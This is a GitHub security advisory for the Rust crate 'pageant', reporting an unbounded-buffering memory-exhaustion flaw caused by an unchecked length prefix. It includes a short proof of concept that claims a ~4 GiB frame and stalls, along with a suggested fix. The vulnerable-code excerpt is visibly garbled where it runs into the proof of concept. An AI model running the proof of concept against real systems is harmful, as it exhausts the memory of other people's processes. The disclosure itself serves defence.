GitHub Advisoryadvisory · crates.io

GHSA-662x-8wvj-2276 pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)

LOW Published 2026-10-30 Modified 2026-10-30 Official page ↗
Aliases
CVE-2026-116775
Ecosystem
crates.io
Packages
pageant
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weaknesses
CWE-770
Reviewed
2026-10-30

Affected packages

• crates.io pageant: >= 0.2.0, < 0.2.5 → fixed in 0.2.5

Description

Summary `pageant::PageantStream` reads a 4-byte big-endian length prefix from its input stream and buffers until `len + 4` bytes are available, without ever validating `len`. The underlying WM_COPYDATA transport physically cannot carry frames larger than 8 KiB (`_AGENT_MAX_MSGLEN`, the fixed-size shared memory mapping), so an oversized frame is destined to fail — but only after the re-framing task has already buffered the full claimed size. A peer controlling the stream bytes can claim a frame of up to ~4 GiB and either stream that much data (forcing a corresponding allocation) or simply stop mid-frame and keep the partial buffer resident indefinitely. Vulnerable code `pageant/src/wmmessage.rs`, `PageantStream::new()` (the spawned re-framing task), current main: ```rust let mut buf = BytesMut::new(); while let Ok(n) = two.read_buf(&mut buf).await { if n == 0 { break; } if buf.len() Result> { let mut stream = pageant::PageantStream::new().await?; // Claim a ~4 GiB frame, stream 256 MiB, then stall: the task buffers all of it. stream.write_all(&0xFFFF_F000u32.to_be_bytes()).await?; let chunk = vec![0u8; 256 * 1024]; for _ in 0..1024 { stream.write_all(&chunk).await?; } // 256 MiB, frame never completed tokio::time::sleep(std::time::Duration::from_secs(30)).await; Ok(()) } ``` Observed on Windows 11, pageant 0.2.4 (source v0.64.1, Rust 1.99): process working set grows from ~7.4 MB to ~264.7 MB after 256 MiB is streamed, and stays there while the peer stalls; no error is ever raised. Memory grows linearly with bytes sent, up to the claimed length. (Allocation behavior additionally verified with a counting global allocator.) Suggested fix Reject frames that cannot fit the transport before buffering: ```diff let len = BigEndian::read_u32(&buf) as usize; + // The WM_COPYDATA transport is backed by a fixed-size shared + // memory mapping: larger requests can never fit. Reject them + // before buffering. Without this cap a malicious peer could + // force up to ~4 GiB of buffering by claiming a huge frame + // and never completing it. + if len.saturating_add(4) > _AGENT_MAX_MSGLEN { + debug!("dropping oversized Pageant request: {len} bytes"); + break; + } if buf.len() < len + 4 { continue; } ``` `saturating_add` also removes a theoretical 32-bit `len + 4` overflow. `break` shuts down the re-framing task (the writer observes the stream close); returning an error through the stream would work equally well. Happy to submit a PR with this change, or with any alternative you prefer. Reporter Tshellauth

Related

Alias · CVE (1)

  • CVE-2026-116775 pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant… vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References